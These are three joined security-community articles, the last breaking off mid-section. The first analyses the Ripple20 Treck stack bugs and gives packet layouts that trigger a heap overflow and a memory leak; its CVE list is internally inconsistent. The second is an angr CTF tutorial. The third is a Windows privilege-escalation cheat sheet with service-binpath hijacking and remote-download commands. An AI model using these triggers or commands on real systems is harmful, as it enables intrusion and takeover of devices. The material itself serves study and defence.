国外安全研究人员在由Treck开发的TCP/IP协议栈中发现了多个漏洞，这一系列漏洞统称为Ripple20。这些漏洞广泛存在于嵌入式和物联网设备中，影响了多个行业领域（包括医疗、运输、能源、电信、工业控制、零售和商业等），涉及了众多供应商（包括HP、Schneider
Electric、Intel、Rockwell Automation、Caterpillar、Baxter等）。
这些漏洞源于Ripple20的多个协议（包括IPv4、ICMPv4、IPv6、IPv6OverIPv4、TCP、UDP、ARP、DHCP、DNS或以太网链路层）在处理网络报文发送时存在缺陷，其中包括四个严重漏洞，它们的CVE编号分别为CVE-2020-11896、CVE-2020-11898、CVE-2020-11910、CVE-2020-11911。CVE-2020-11896（CVSS评分10）可导致远程执行代码，CVE-2020-11897（CVSS评分10）可导致越界写入，CVE-2020-11901（CVSS评分9）可导致远程执行代码，CVE-2020-11898（CVSS评分9.1）可导致泄露敏感信息。其它15个Ripple20漏洞的严重程度各异，CVSS评分分别从3.1到8.2。
由于物联网设备供应链的特性，漏洞影响的设备众多，影响范围广且持续时间长，漏洞修复的实施较困难。因此，启明星辰ADLab第一时间对相关漏洞进行了分析并提出了防范建议。
### 二、协议栈检测
由于采用Treck协议栈的厂家较多，有些厂家是硬件IP核的方式引用了Treck协议栈。单纯通过设备指纹来识别漏洞是不足的，如何检测目标设备是否为Treck协议栈成为资产排查的关键，为此启明星辰ADLab安全研究员对Treck协议栈进行了深入分析，并公开了Treck协议栈指纹检测方法发现漏洞。
Treck协议栈自定义了类型为165(0xa5)的ICMP包，并一旦收到165的ICMP包会回复类型为166的ICMP包响应。如下代码所示：
首先，向目标发送 ICMP请求包，其中type=0xa5，code=0。如下图所示：
然后，接收目标返回的icmp响应包数据，其中type =0xa6,code
=0，ICMP报文第9字节后的六个字节为0x01,0x51,0x35,0x28,0x57,0x32(大端)或0x51,0x01,0x28,0x35,0x32,0x57(小端）。
满足上述的条件，则表明目标设备为treck 协议栈。如下图所示：
### 三、防范建议
#### 1、应用更新
及时更新到Treck TCP/IP协议栈软件的最新稳定版本（6.0.1.67或更高版本）。
#### 2、阻止异常IP流量
可以通过深度数据包检查来阻止网络攻击，以下是可以适当应用于网络环境中的可能缓解措施，过滤选项包括：
* 如果网络环境不支持，则规范化或拒绝IP分片的数据包（IP分片）
* 如果不需要，请禁用或阻止IP隧道（IPv6-in-IPv4或IP-in-IP隧道）
* 阻止IP源路由和所有不赞成使用IPv6的功能，例如路由标头
* 强制执行TCP检查并拒绝格式错误的TCP数据包
* 阻止未使用的ICMP控制消息，例如MTU更新和地址掩码更新
* 通过安全的递归服务器或应用层防火墙规范DNS
* 确保网络环境中使用的是可靠的OSI第2层设备（以太网）
* 通过DHCP侦听等功能提供DHCP / DHCPv6安全性
* 如果未在交换基础架构中使用，则禁用或阻止IPv6多播。
### 四、相关概念介绍
#### 1、IP分片
IP分片使得在网络中发送大的IP包成为可能，即使其大小大于网络特定链路中允许的最大值。IP分片技术是一种将数据包分成几个较小的部分以支持通过这些链路和网络传输的技术。该协议支持在发送端进行分片，然后在接收端对分片重新组合。这允许不同的包在网络中零散地传输，并在另一侧正确地重新组装。
不同的包使用IP头中的标识字段（Identification）进行分组。此标识字段描述分片属于哪个包。同一个包的多个分片的Identification是一样的。IPv4通过Flags及Fragment
Offset字段对分片进行管理，Flags由R、DF、MF三部分组成：
* R（Reserve bit）保留未用
* DF (Don't Fragment) DF =1：禁止分片 , DF =0：允许分片
* MF (More Fragment) MF =1：非最后一片, MF =0：最后一片(或未分片)
Fragment Offset(13位)：一个IP分组分片封装原IP分组数据的相对偏移量, 片偏移字段以8字节为单位。IP包结构如下图所示：
#### 2、IP隧道技术
IP隧道允许两个独立网络之间的虚拟点到点链路。它是通过将包（可以是IP包）封装在另一个包中来实现的，使得内部包具有与外部包不同的源地址和目标地址。外部包的源地址和目标地址是隧道端点，内部包中的地址用于隧道两端的网络路由。隧道入口点是接收应通过隧道转发的IP数据包的节点。它将此数据包封装在外部IP数据包中。当数据包到达隧道出口点时，它被解封装并转发，就好像它是在目标网络中发送的常规数据包一样。IP-in-IP包如下图所示：
IP隧道技术主要应用在虚拟专用网（VPN）技术中。目前有几种隧道协议，其中最简单和最古老的是IP-in-IP（IP协议编号4）。IP-in-IP是一种IP隧道协议，其中一个IP包通过添加一个外部IP报头（其源地址和目标地址分别等于隧道的入口点和出口点）封装在另一个IP包中。内部数据包未被修改，外部IP头从内部IP头复制一些字段。外部报头的IP协议号为4。IP-in-IP报文示例如下图所示：
### 五、Treck协议栈
#### 1、协议栈概述
Treck协议栈通过tsPacket结构来描述包结构，通过tsUserPacket结构支持数据包分片。这两个结构体在treck/include/trsocket.h文件中定义。Treck
TCP/IP协议栈中的包数据由tsPacket的结构表示。每个包都与一个数据缓冲区相关联，该数据缓冲区保存从接口驱动程序到达的原始数据。tsPacket结构还保存另一个称为ttUserPacket的重要结构，以及指向tsSharedData结构的指针，该结构包括网络协议栈处理数据包时所需的信息（指向套接字结构、src/dst地址或端口等的指针）。定义如下：
struct tsPacket {
ttUserPacket pktUserStruct;
ttSharedDataPtr pktSharedDataPtr;
struct tsPacket * pktChainNextPtr;
struct tsDeviceEntry * pktDeviceEntryPtr;
union anon_union_for_pktPtrUnion pktPtrUnion;
tt32Bit pktTcpXmitTime;
tt16Bit pktUserFlags;
tt16Bit pktFlags;
tt16Bit pktFlags2;
tt16Bit pktMhomeIndex;
tt8Bit pktTunnelCount;
tt8Bit pktIpHdrLen;
tt8Bit pktNetworkLayer;
tt8Bit pktFiller[1];
};
这是包含的ttUserPacket结构（tsUserPacket的typedef），定义如下：
struct tsUserPacket {
void * pktuLinkNextPtr; // Next tsUserPacket for fragmented data
ttUser8BitPtr pktuLinkDataPtr;
ttPktLen pktuLinkDataLength;
ttPktLen pktuChainDataLength;
int pktuLinkExtraCount;
};
pktuLinkNextPtr
：用于跟踪数据包中的分片。此字段指向表示下一个分片的另一个tsPacket结构，该tsPacket还保存对下一个分片的引用，如果此链接是最后一个分片，或者数据未被分片，则此字段将为NULL。
pktuLinkDataPtr：指向当前分片的数据缓冲区。当Treck协议栈在不同阶段处理数据包时，数据缓冲区中的确切位置会发生变化，这取决于当前正在处理的数据包所在协议层。例如，当Treck协议栈处理以太网层（在tfEtherRecv()函数中）时，此字段指向以太网报头。
pktuLinkDataLength：pktuLinkDataPtr指向的数据的大小，即单个分片的大小。
pktuChainDataLength：表示包含所有分片的数据包长度，即数据包的总大小。它只为第一个分片设置。如果数据没有分片，则等于pktuLinkDataLength。
#### 2、协议栈处理过程
协议栈中的一个常见模式是在协议栈中的层之间移动时调整pktuLinkDataPtr指针。例如，如果我们的包是一个ICMP回显请求包（ping），它的协议由三层组成：Ethernet、IPv4、ICMP。在这种情况下，当处理以太网层（在tfEtherRecv()函数中）时，pktuLinkDataPtr指向以太网报头的开始，然后在移动到下一层之前，使用以下代码对其进行调整，如下代码所示：
在本例中，0xe（十进制为14）是以太网报头（6（dst MAC）+6（src
MAC）+2（etherType））的大小。当tfEtherRecv()函数完成包处理时，它将包转发到下一层处理。支持的以太网类型有ARP、IPv4和IPv6。如下代码所示：
在示例中，当IPv4层接收到数据包（在函数tfIpIncomingPacket()函数中）时，指针pktuLinkDataPtr已经指向IP报头。传入数据由具有相同命名约定tf
_IncomingPacket的函数处理，其中_
是协议名。对于ICMP包来说，它由三层协议组成（Ethernet/IPv4/ICMP），数据包将由函数tfEtherRecv、tfIpIncomingPacket和tfIcmpIncomingPacket函数分别处理。
#### 3、分片重组
Treck协议栈在tfIpReassemblePacket()函数中处理分片的重组，该函数由tfIpIncomingPacket()调用。每当接收到发往设备的IP分片时，就会调用此函数。如果缺少分片，函数将返回NULL。否则，如果所有分片都到达并且没有空洞，则网络协议栈将使用pktuLinkNextPtr字段将分片链接在一起，然后将数据包传递给下一层进行进一步处理。在此上下文中，“重组”一词并不意味着将数据包复制到连续的存储块，而只是简单地将它们链接到一个链表中。分片数据链表结构如下图所示：
#### 4、tfIpIncomingPacket函数
tfIpIncomingPacket()函数是处理IP包的主要函数，该函数主要流程如下图所示：
tfIpIncomingPacket()首先判断数据包合法性。tfIpIncomingPacket()函数除了验证IP头校验和，它还进行以下验证，如下代码所示：
然后如果所有合法性检查都通过，tfIpIncomingPacket()函数将检查IP报头中TotalLength
是否严格小于数据包的pktuChainDataLength，这表示实际接收的数据比IP报头中声明的数据多。如果是真的，则进行修剪操作，要删除额外的数据，如下代码所示：
再者如果IP数据包的MF为1或者Fragment
Offset大于0，则tfIpIncomingPacket()函数就要调用tfIpReassemblePacket()函数进行分片重组。如果IP分片数据接收不完整，则tfIpReassemblePacket()函数返回NULL。如果所有IP分片都到达并且没有错误，则Treck协议栈使用pktuLinkNextPtr字段将这些分片链接在一起，建立链表，并将包传递到下一层进行进一步处理，如下代码所示：
最后如果已经收到完整的IP数据包，则tfIpIncomingPacket()函数根据IP数据包中的协议字段的协议号，调用相应的协议包处理函数进行处理。在下列代码中，当协议号为UDP时，则调用tfUdpIncomingPacket()函数，当数据包协议为IP-in-IP协议（协议号4）时，会递归调用tfIpIncomingPacket()函数，代码实现如下所示：
### 六、漏洞原理分析
#### 1、CVE-2020-11896
前文已经介绍tfIpIncomingPacket()函数的实现过程，第二步的数据裁剪是漏洞的原因，如下代码所示：
pktuLinkDataLength保留当前分片的大小，pktuChainDataLength保留整个IP数据包的大小。如果执行上述操作，将导致一个不一致性的状态，其中pkt->pktuChainDataLength==pkt->pktuLinkDataLength，但可能有pkt->pktuLinkNextPtr指向其他分片。更进一步的其中链表上分片的总数据大小可能大于存储在pktuChainDataLength变量中的大小。这种操作导致的不一致性将会导致后续报文处理发生异常。
通过简单地设置错误的IP包分片是无法触发漏洞的，因为裁剪过后的分片数据在后续的tfIpReassemblePacket()函数操作中会根据pktuChainDataLength的大小，重新建立分片链表，不会造成不一致的状态。理想的流程是先完成分片链表的建立，再进行链表数据总大小的裁剪流程，这样就会进入不一致的状态。
为了在IP层处理分片数据包并触发执行有问题的流程代码，可以使用IP-in-IP数据包。对于分片的IP-in-IP数据包，tfIpIncomingPacket()函数将至少递归调用两次，一次用于IP隧道包的内层IP数据包，多次用于外层IP数据包（每处理一个外层IP包分片算作一次）。
tfIpIncomingPacket()函数在处理IP隧道数据包的时候将内部IP数据包作为非分片数据包进行处理。内部数据包现在由多个分片组成，但在IP报头中标记为非分片（MF=0），所以它不会再进入tfIpReassemblePacket()函数进行重组。它现在由一个链表中的几个单独的tsPacket链接组成，每个链接都有一个单独的pktuLinkDataLength值。考虑下面的例子，它将有助于理解漏洞的成因：
* Inner IP packet: IPv4{len=32, proto=17}/UDP{checksum=0, len=12}，其中包括1000字节的数据’A’。
* Outer IP packet (fragment 1): IPv4{frag offset=0, MF=1, proto=4, id=0xabcd} ,其中包括40字节的IP数据。
* Outer IP packet (fragment 2): IPv4{frag offset=40, MF=0, proto=4, id=0xabcd} ，其中数据负荷为988字节。
为了绕过UDP校验，将校验和字段checksum设置为0。实例中的分片结构如下图所示：
当Treck协议栈处理外部分片时，它使用tsUserPacket结构中的pktuLinkNextPtr字段来链接它们。如前所述，当tfIpIncomingPacket()函数处理内部IP数据包（协议为4，IP-in-IP）时，它已经完成了分片数据的重组（内部IP数据包由链接在一起的两个tsPacket结构表示）。分片数据重组后的链表结构如下图所示：
由于tfIpIncomingPacket()函数在进行有效性判断时，只考虑tsUserPacket中的pktuChainDataLength字段（而不是pktuLinkDataLength），所以在处理内部IP包时将进入错误的链表长度的裁剪流程，从而导致了问题。
内部IP包通过了IP头完整性检查，在该例子中，内部IP包的总长度(32）小于链表数据长度（1000+8+20=1028），因此Treck协议栈将尝试错误地修剪数据包，方法是将字段pktuLinkDataLength和pktuChainDataLength设置为相同的值ipTotalLength（在我们的示例中为32）。这导致内部IP数据包由链接在一起的两个tsPacket结构表示，但它们的数据总长度大于pktuChainDataLength字段（修剪后pktuChainDataLength字段不是1028字节，而是等于32）。经过数据长度裁剪后的链表结构如下图所示：
现在已经使得链表达到了不一致的状态，下面将介绍如何利用这种不一致的状态来导致内存破坏。
在Treck协议栈代码中至少有一个代码路径可以将分片数据复制到单个连续缓冲区中。具体的执行路径为：tfUdpIncomingPacket() ->
tfSocketIncomingPacket() ->
tfCopyPacket()。下面的代码是tfSocketIncomingPacket()函数处理UDP数据报的代码的一部分，如下代码所示：
这段代码中tfSocketIncomingPacket()函数调用tfGetSharedBuffer()申请内存，其大小基于pktuChainDataLength字段的值，然后通过tfCopyPacket()函数将数据包的不同分片逐个复制到新分配的内存空间中，发生溢出的代码如下所示：
由于两个分片中的pktuLinkDataLength之和为1000字节，后续的tfCopyPacket函数将会把1000字节的数据拷贝到这段内存中，这将导致堆溢出。
#### 2、CVE-2020-11898
正如前文描述如何触发CVE-2020-11896漏洞那样，Treck TCP/IP协议栈无法正确处理通过IP-in-IP隧道传入的IPv4分片。这也可能允许未经身份验证的攻击者从堆中泄漏内存。可以采用以下示例进行漏洞触发：
* 内部IP数据包：IPv4 {ihl = 0xf，len = 100，proto = 0}，有效载荷为'\ x00' _40 +'\ x41'_ 100。
* 外部IP数据包（分片1）：IPv4 {frag offset = 0，MF = 1，proto = 4，id = 0xabcd}，其中24个字节来自内部IP数据包有效负载。这意味着将复制20个字节的IP标头，外加4个空字节。
* 外部IP数据包（分片2）：IPv4 {frag offset = 24，MF = 0，proto = 4，id = 0xabcd}，来自内部IP数据包的其余字节作为有效负载。
实例中的分片结构如下图所示：
这里ihl为0xf，表示为最大IP选项，长度为60字节，数据包总长度total_length为100。当网络协议栈收到两个分片时，它将使用tfIpReassemblePacket()函数重新组装它们。分片数据重组后的链表结构如下图所示：
该tfIpReassemblePacket()函数使用tsUserPacket结构中的字段pktuLinkNextPtr链接两个分片。如果启用了IP-in-IP隧道传输，则内部IP数据包将随后由tfIpIncomingPacket()函数中处理，修剪后的pktuChainDataLength字段不是160，而是等于100。经过数据长度裁剪后的链表结构如下图所示：
内部IP数据包通过IP标头完整性检查，因为仅考虑了tsUserPacket的pktuChainDataLength字段（而不考虑pktuLinkDataLength）。因为在标准IP头部（20个字节）之后有4个空字节，并且一个空字节代表IP选项的末尾，IP选项解析通过检查。由于内部IP数据包包含无效的IPv4协议编号（Protocol为0），进入default分支，然后直接进入TM_IP_LOCAL_FLAG分支。如下代码所示：
因此网络协议栈将通过发送类型为3（目标不可达）和代码为2（协议不可达）的ICMP错误消息来拒绝该数据包。如下代码所示：
负责创建错误数据包的是tfIcmpErrPacket()函数。它分配一个新的数据包，初始化一些ICMP头部字段。如下代码所示：
最后从后续数据包（内部IP数据包）中复制一些数据。复制部分如下代码所示：
如代码所见，tfIcmpErrPacket()函数通过获取IP报头长度（以字节为单位加上8，在实际情况下为60 + 8 =
68）与pktuLinkDataLength字段（以及被裁剪为100）之间的最小值来计算要复制的字节数
。由于发送数据包的第一个分片的实际链路数据长度为24（而不是100），因此tfIcmpErrPacket()函数将从堆中复制68-24 =
44字节的额外数据。然后设置v12_icmpErrPacket中相关数据。如下代码所示：
最后调用tfIpSendPacket()函数发送icmp_ErrPacket包到目标地址，这将导致44字节的信息泄露。
#### 3、CVE-2020-11910
CVE-2020-11910是越界读漏洞，该漏洞存在tfIcmpIncomingPacket函数中，该函数主要是处理ICMP包。tfIcmpIncomingPacket函数在处理设备收到类型为3，code为4的ICMP包的时候，代码并没有验证后续数据的长度，直接就访问了对应位置的数据，造成了越界读漏洞。如下代码所示：
#### 4、CVE-2020-11911
CVE-2020-11911是未授权的敏感信息更新漏洞，该漏洞存在tfIcmpIncomingPacket函数中，该函数主要是处理ICMP包。tfIcmpIncomingPacket函数在处理设备收到类型为18（Address
mask reply）包的时候，代码并没有验证设备是否发送过类型17（Address mask
request）请求，就直接更新了设备的子网掩码。如下代码所示：
### 七、CVE-2020-11898漏洞验证
远程攻击打印机，如下视频所示：
### 八、参考
1、<https://www.ietf.org/rfc/rfc2003.txt>
2、<https://www.ietf.org/rfc/rfc792.txt>
3、<https://www.ietf.org/rfc/rfc1853.txt>
4、<https://www.jsof-tech.com/ripple20/>
5、<https://kb.cert.org/vuls/id/257161>
6、<https://www.venustech.com.cn/article/1/11834.html>
7、JSOF_Ripple20_Technical_Whitepaper_June20.pdf
* * * | 社区文章 |
# 前言
> 让我们一起拨开云雾，玩转angr吧！
> 此篇将会讲解如何使用angr进行输入、输出以及条件约束
## 获取命令行输入
我以`ais3_crackme`为例，来说明如何进行命令行输入。
运行程序，提示如下：
载入IDA，逻辑同样的简单。
再上一篇也提到过，在`angr==8.18.10.25`版本中，需要通过`claripy`模块，来构造输入。`claripy`是一个符号求解引擎和`z3`类似，我们完全可以将其当成是`z3`进行使用。
`claripy`关于变量的定义在`claripy.ast.bv.BV`当中
通常使用`claripy.BVS()`创建位向量符号
使用`claripy.BVV()`创建位向量值
`argv1 = claripy.BVS("argv1",100*8)`
`argv1`是符号名称，`100*8`是长度以`bit`为单位，这里是输入了100个字节。
在设置初始`SimgrState`时可以进行如下设置
`initial_state = p.factory.entry_state(args=["./ais3_crackme",argv1])`
通常来说在做题时，flag的长度还是很好判断的。
之后初始化`simulation_manager`，设置`find`以及`avoid`
那么此时我们不能像之前那样通过`posix.dump(0)`来打印出结果，因为我们是通过命令行传参，输入的数据，那么此时使路径正确的数据保存在哪里呢？
我们需要继续查看`SimState`都由哪些属性。
之前也提到过`claripy`是类似于`z3`的符号执行引擎，所以可以看到`solver`属性
`:ivar solver: The symbolic solver and variable manager for this state`
同样的我们查看`found.solver`都有哪些属性和方法。
为了能正确的将`found`中保存的符号执行的结果打印出来，我们可以使用`eval`方法。
并且可以使用`cast_to`参数对需要打印的值进行类型转换
通常来说只要找到了找到了正确的路径，那么打印结果并不是太大的问题。
完整的脚本如下：
#!/usr/bin/env python
'''
ais3_crackme has been developed by Tyler Nighswander (tylerni7) for ais3.
It is an easy crackme challenge. It checks the command line argument.
'''
import angr
import claripy
def main():
project = angr.Project("./ais3_crackme")
#create an initial state with a symbolic bit vector as argv1
argv1 = claripy.BVS("argv1",100*8) #since we do not the length now, we just put 100 bytes
initial_state = project.factory.entry_state(args=["./crackme1",argv1])
#create a path group using the created initial state
sm = project.factory.simulation_manager(initial_state)
#symbolically execute the program until we reach the wanted value of the instruction pointer
sm.explore(find=0x400602) #at this instruction the binary will print(the "correct" message)
found = sm.found[0]
#ask to the symbolic solver to get the value of argv1 in the reached state as a string
solution = found.solver.eval(argv1, cast_to=bytes)
print(repr(solution))
solution = solution[:solution.find(b"\x00")]
print(solution)
return solution
def test():
res = main()
assert res == b"ais3{I_tak3_g00d_n0t3s}"
if __name__ == '__main__':
print(repr(main()))
## 正常输入并设置约束条件
这里我用上一篇刚开始用到的`csaw_wyvern`作为例题
IDA载入
首先映入眼帘的是`C++`程序，由于`angr`是只实现了C库，为了深入C++标准库中，我们需要在设置state时需要使用`full_init_state`方法，并且设置`unicorn`引擎。
通过IDA的分析以及猜测，基本上可以确定flag长度为28，因此我们构造长度为28的BVS变量，并在结尾加上`\n`
我们通过`claripy`构造输入变量
flag_chars = [claripy.BVS('flag_%d' % i, 8) for i in range(28)]
flag = claripy.Concat(*flag_chars + [claripy.BVV(b'\n')])
`claripy.Concat`方法用于`bitVector`的连接
而后在初始化`state`时设置`stdin`参数
st = p.factory.full_init_state(
args=['./wyvern'],
add_options=angr.options.unicorn,
stdin=flag,
)
`add_options=angr.options.unicorn,`是为了设置`unicorn`引擎
其实我们现在已经设置好了`state`，`angr`已经可以正常工作了，但是为了提高`angr`的执行效率，我们有必要进行条件约束。
设置起来并不麻烦。
for k in flag_chars:
st.solver.add(k != 0)
st.solver.add(k != 10)
而后便可以执行了。这里我先不设置`find`，直接通过`run()`方法运行，这样可以得到29个`deadended`分支。
这里有必要再说一下`SimulationManager`的三种运行方式：
`step()`每次向前运行一个基本块，并返回进行分类
`run()`运行完所有的基本块，然后会出现`deadended`的状态，此时我们通常访问最后一个状态来获取我们所需要的信息。
`explore()`根据`find`和`avoid`进行基本块的执行，最后会返回`found`和`avoid`状态
> 一般来说我们使用`explore()`方法即可。
此时的flag应该就在这29个`deadended`分支中某个分支的`stdout`中，我们得想办法将其取出，通常来说是在最后一个分支当中。
当然我们还是通过代码将其取出。
out = b''
for pp in sm.deadended:
out = pp.posix.dumps(1)
if b'flag{' in out:
return out[out.find(b"flag{"):]
如果不用`run()`方法，而是通过`explore()`运行，也是可以的。
在IDA中找到最终正确的分支`0x0x4037FD`
如下设置：
最后在`found[0].posix.dumps(0)`打印出flag值，但在执行过程中，我明显感觉到`CPU`在飞速的旋转。（可能是电脑太渣，哈哈！）
> ps:这道题我记得还可以用`pintools`解决，而且pizza大佬还写过一个去混淆的脚本，总之方法有很多，不过angr算是比较快速的一种。
## 对结果进行条件约束
对于angr来说，执行到正确的路径并不难，但对于我们来说，要想正确的打印出flag，恐怕还得飞一番功夫。
这里以`asisctffinals2015_fake`为例。
载入IDA
从题目来看，其大概逻辑是通过输入正确的值，经过计算，最后会输出由`v5 v6 v7 v8 v9`所组成的字符串，也就是flag。
就此题而言，仅仅设置BVS和find是远远不够的，我们需要对found状态下的memory，进行条件约束，从而打印出正确的flag。
我们跳过前面的命令行输入部分，直接从`0x4004AC`开始，因为`strtol`用于将字符串转化为整数，而我们通过`claripy.BVS`构造的符号变量是一个bit向量，无法使用`strtol`转换。当然如果你不闲麻烦，可以将`strtol`nop掉，然后使用之前所说的命令行传参的方法。
初始化状态如下设置：
state = p.factory.blank_state(addr=0x4004AC)
inp = state.solver.BVS('inp', 8*8)
state.regs.rax = inp
simgr= p.factory.simulation_manager(state)
simgr.explore(find=0x400684)
found = simgr.found[0]
此时的状态是`0x400684`时，`put`将要打印`edi`寄存器的值.
为了对结果设置条件约束，我们需要如下设置：
flag_addr = found.regs.rdi
found.add_constraints(found.memory.load(flag_addr, 5) == int(binascii.hexlify(b"ASIS{"), 16))
首先根据题目条件可以知道flag的长度应该为38(5+32+1)字节，并且的前5个字节是`ASIS{`,最后一个字节是`}`其余也都应该是可打印字符
这时可以进行如下约束：
flag = found.memory.load(flag_addr, 40)
for i in range(5, 5+32):
cond_0 = flag.get_byte(i) >= ord('0')
cond_1 = flag.get_byte(i) <= ord('9')
cond_2 = flag.get_byte(i) >= ord('a')
cond_3 = flag.get_byte(i) <= ord('f')
cond_4 = found.solver.And(cond_0, cond_1)
cond_5 = found.solver.And(cond_2, cond_3)
found.add_constraints(found.solver.Or(cond_4, cond_5))
found.add_constraints(flag.get_byte(32+5) == ord('}'))
最后将结果通过`eval`输出即可.
`flag_str = found.solver.eval(flag, cast_to=bytes)`
# 总结
以上我们已经了解了如何使用angr进行输入输出以及条件约束，这就掌握angr的基本用法，接下来我们要继续深入，学会如何对内存以及寄存器进行直接的存取。 | 社区文章 |
# Windows提权笔记
> ps：文章本人根据情景翻译，不对之处请GG指出。-。-
[原文地址](http://memorycorruption.org/windows/2018/07/29/Notes-On-Windows-Privilege-Escalation.html):<http://memorycorruption.org/windows/2018/07/29/Notes-On-Windows-Privilege-Escalation.html>
你好基友们！
以下是我对`Windows`提权研究的看法。
Windows权限的涉及的领域范围很广，简单的一篇文章只能说包含常见的手法，本文算是一个小小的WIKI，我写这篇文章的目的只是给自己做一个笔记，与此同时给别人一个参考，共同分享`our
thinking！`
我的WIKI设计以下主题：
* Windows提权命令参考
* 本地权限提升
* 服务漏洞
* Windows注册表
* 不安全的文件系统权限
* AlwaysInstallElevated
* 获得凭证
* 利用令牌权限
* DLL 劫持
* 自动化的工具和框架
## Windows提权命令参考
以下是一些必要的Windows命令：
命令 | 描述
---|---
systeminfo | 打印系统信息
whoami | 获得当前用户名
whoami /priv | 当前帐户权限
ipconfig | 网络配置信息
ipconfig /displaydns | 显示DNS缓存
route print | 打印出路由表
arp -a | 打印arp表
hostname | 主机名
net user | 列出用户
net user UserName | 关于用户的信息
net use \SMBPATH Pa$$w0rd /u:UserName | 连接SMB
net localgroup | 列出所有组
net localgroup GROUP | 关于指定组的信息
net view \127.0.0.1 | 会话打开到当前计算机
net session | 开放给其他机器
netsh firewall show config | 显示防火墙配置
DRIVERQUERY | 列出安装的驱动
tasklist /svc | 列出服务任务
net start | 列出启动的服务
dir /s _foo_ | 在目录中搜索包含指定字符的项目
dir /s _foo_ == _bar_ | 同上
sc query | 列出所有服务
sc qc ServiceName | 找到指定服务的路径
shutdown /r /t 0 | 立即重启
type file.txt | 打印出内容
icacls “C:\Example” | 列出权限
wmic qfe get Caption,Description,HotFixID,InstalledOn | 列出已安装的布丁
(New-Object
System.Net.WebClient).DownloadFile(“<http://host/file”,”C:\LocalPath”>) |
利用ps远程下载文件到本地
accesschk.exe -qwsu “Group” | 修改对象（尝试Everyone，Authenticated Users和/或Users）
这个起点比较友好，下面还有一些可以参考的：
https://www.microsoft.com/en-us/download/details.aspx?id=2632
https://ss64.com/nt/
https://www.sans.org/security-resources/sec560/windows_command_line_sheet_v1.pdf
另外还有两个语言供参考：
* [WMIC](https://www.computerhope.com/wmic.htm)
* [PowerShell](https://ss64.com/ps/)
## Exploits
多年来，Windows肯定有很多内核攻击的案例分享，并且不乏各种版本的本地提权exp。事实上，本指南列出的内容很多。
有关Windows漏洞的一些相关列表，请参阅以下资源：
https://github.com/SecWiki/windows-kernel-exploits
https://www.exploit-db.com/local/
https://pentestlab.blog/2017/04/24/windows-kernel-exploits/
务必检查系统的补丁级别，以确定它是否可利用。正常的测试是检查系统上最新补丁的日期。如果它比漏洞利用程序更旧，则系统可能容易受到攻击。请务必查找该漏洞利用程序的相关修补程序，并查看它是否已安装。还要记住，利用内核漏洞可能会影响系统的稳定性(会把系统打崩)！在测试产品之前要小心。首先探索其他潜在的载体总是好的。
## 服务配置错误
利用配置错误的服务进行提升权限是常用方法。本节将介绍可以利用的Windows服务的几种方法。
### 不带引号的服务路径
当系统管理员配置Windows服务时，他们必须指定要执行的命令，或者运行可执行文件的路径。
当Windows服务运行时，会发生以下两种情况之一。如果给出了可执行文件，并且引用了完整路径，则系统会按字面解释它并执行。但是，如果服务的二进制路径未包含在引号中，则操作系统将会执行找到的空格分隔的服务路径的第一个实例。
这可能有点不直观，所以让我们来看一个实际的例子。假设服务配置类似于以下存在bug的示例服务：
C:\Program Files\Vulnerable Service\Sub Directory\service.exe
Windows命令解释程序可能会遇到名称中的空格，并且希望通过将字符串包装在引号中来对它们进行转义。在上面的示例中，如果系统运行该服务，它将尝试运行以下可执行文件：
C:\Program.exe
C:\Program Files\Vulnerable.exe
C:\Program Files\Vulnerable Service\Sub.exe
C:\Program Files\Vulnerable Service\Sub Directory\service.exe
为了讲清楚这个漏洞，定义一个名为`example.exe`的程序，这是一个简单打印出自己名称的正常二进制文件：
#include <stdio.h>
void main(int argc, char *argv[])
{
printf("[*] Executed %s\n", argv[0]);
}
考虑当从命令行通过其绝对路径执行此程序时会发生什么，在引号内：
C:\>"C:\Example\Sub Directory\example.exe"
[*] Executed C:\Example\Sub Directory\example.exe
C:\>
or：
C:\>C:\Example\Sub Directory\example.exe
'C:\Example\Sub' is not recognized as an internal or external command, operable program or batch file.
C:\>
这意味着如果服务路径不加引号，我们可以放置一个与第一个名称相同的恶意二进制文件作为文件系统对象，并在其名称中包含空格，并且当服务尝试执行其二进制文件时会将它运行。我们所需要的只是对路径中目录的写权限。
Cosider通过隐藏example.exe来利用上述示例，`C:\Example\Sub.exe`在没有空格的情况下调用上面的示例，如易受攻击的服务：
C:\>C:\Example\Sub Directory\example.exe
[*] Executed C:\Example\Sub
C:\>
一条命令找到这些错误配置：
wmic service get name,displayname,pathname,startmode |findstr /i "Auto" |findstr /i /v "C:\Windows\\" |findstr /i /v """
### 不安全的服务权限
即使正确引用了服务路径，也可能存在其他漏洞。由于管理配置错误，用户可能对服务拥有过多的权限，例如，可以直接修改它。
AccessChk工具可以用来查找用户可以修改的服务：
C:\Users\user\Desktop>accesschk.exe -uwcqv "user" *
accesschk.exe -uwcqv "user" *
Accesschk v6.02 - Reports effective permissions for securable objects
Copyright (C) 2006-2016 Mark Russinovich
Sysinternals - www.sysinternals.com
RW Vulnerable Service
SERVICE_ALL_ACCESS
C:\Users\user\Desktop>
也可以使用以下`sc qc`命令查询服务：
C:\Users\user\Desktop>sc qc "Service"
sc qc "Service"
[SC] QueryServiceConfig SUCCESS
SERVICE_NAME: Service
TYPE : 10 WIN32_OWN_PROCESS
START_TYPE : 2 AUTO_START
ERROR_CONTROL : 1 NORMAL
BINARY_PATH_NAME : C:\Program Files (x86)\Program Folder\Subfolder\Service.exe
LOAD_ORDER_GROUP : UIGroup
TAG : 0
DISPLAY_NAME : Service
DEPENDENCIES :
SERVICE_START_NAME : LocalSystem
C:\Users\user\Desktop>
最后，可以在HKLM\SYSTEM\CurrentControlSet\Services注册表项中找到有关服务的信息。另请参阅本指南Windows注册表的部分。
如果可以修改服务的BINPATH，则可以利用它：
C:\Users\user\Desktop>sc config "Vulnerable" binpath="C:\malicious.exe"
sc config "Vulnerable" binpath="C:\malicious.exe"
[SC] ChangeServiceConfig SUCCESS
C:\Users\user\Desktop>
修改后，必须重新启动服务才能执行二进制文件。可以手动重启服务。先停止它：
C:\Users\user\Desktop>sc stop "Vulnerable"
sc stop "Vulnerable"
SERVICE_NAME: Vulnerable
TYPE : 10 WIN32_OWN_PROCESS
STATE : 3 STOP_PENDING
(STOPPABLE, NOT_PAUSABLE, IGNORES_SHUTDOWN)
WIN32_EXIT_CODE : 0 (0x0)
SERVICE_EXIT_CODE : 0 (0x0)
CHECKPOINT : 0x0
WAIT_HINT : 0x0
然后启动！
C:\Users\user\Desktop>sc start "Vulnerable"
作为低权限用户，这可能会失败：
C:\Users\user\Desktop>sc stop "ServiceName"
sc stop "ServiceName"
[SC] OpenService FAILED 5:
Access is denied.
C:\Users\user\Desktop>
